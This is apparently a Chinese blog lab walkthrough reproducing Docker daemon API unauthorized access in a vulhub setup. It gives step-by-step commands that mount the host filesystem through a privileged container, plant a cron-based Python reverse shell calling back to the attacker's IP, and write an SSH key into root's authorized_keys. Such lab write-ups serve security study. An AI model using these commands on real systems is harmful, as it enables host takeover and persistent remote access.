docker daemon api 未授权访问
一 描述
简述Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/docker/unauthorized-rce# docker-compose build
/vulhub-master/docker/unauthorized-rce# docker-compose up -d
目标 ubuntu 192.168.1.242
攻击机 192.168.1.1.240
三复现
访问ip:端口
访问http://your-ip:port/version,
攻击机查看靶机docker,没有docker镜像文件
docker -H tcp://192.168.1.242:2375 ps
下载alpine镜像
docker -H tcp://192.168.1.242:2375 pull alpine
将靶机的主分区(根目录)挂载到123文件夹,这样我们就能直接访问靶机的物理目录,从而实现了docker逃逸。
docker -H tcp://192.168.1.242:2375 run -it --privileged alpine bin/sh
fdisk -l #查看分区信息
mkdir 123
mount dev/sda5 123 #挂载
编写shell定时任务
echo "*/1 * * * * root python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.240\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" >>/123/etc/crontab
方法二:通过远程写入ssh公钥连接ssh
ssh-keygen -t rsa #生成密钥
cat /root/.ssh/id_rsa.pub 查看公钥
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Is1Dd9Pu-1664442014123)(…/…/…/…/img/docker/6.png)]
docker远程写入ssh公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAwzoR33Qv94K34FbYP93XhV5per/LyGpVIi5r4wec3Bd64XrH74cgddtGSiAVQyUMKqrBTmrNTPuwouha4SMd3mDvEzPR/88G3PcOs+pZ016d8dM6dDywTBkejVBnHU+zH6aZhNYKOkz13WoD539nmY8D/dS1debj8HwHd5ayqlXypFtAGaHFtCu09BoLnFxfmIUx7KLr/GwMTLhtxdRqnnv4KOJnxkq1DkyzNydwLOnYMZWukTE3IUq6afOCIbAQyvvPs70JvVHW0MKQ3wLuAjSANNmE+goCVUJ0steLU1TLgTQzGwGk1hcQrQSGJhks8JeNrYnQU8uAehC65zZ78Ppl1/CMFtUlcOP9tIBRlm8fNxtTzY1h8wQAKsmNZ4TrXkGXqb7MJYC8LL0a6i4wjupYfHE5+IIwdnFE3Uzpuk4xLOgrSRMLA4cqWbFWpy8bo5ovAIRIiz9bVyW6PZzymhSELTR5+OFYMrmbVb3z0gOwsg7ZcYPWe3I8zwZmtpM= root@kali" > /123/root/.ssh/authorized_keys
远程连接ssh
ssh root@192.168.1.242 -i id_rsa
四 参考链接
https://silentx.gitee.io/2022/08/30/docker/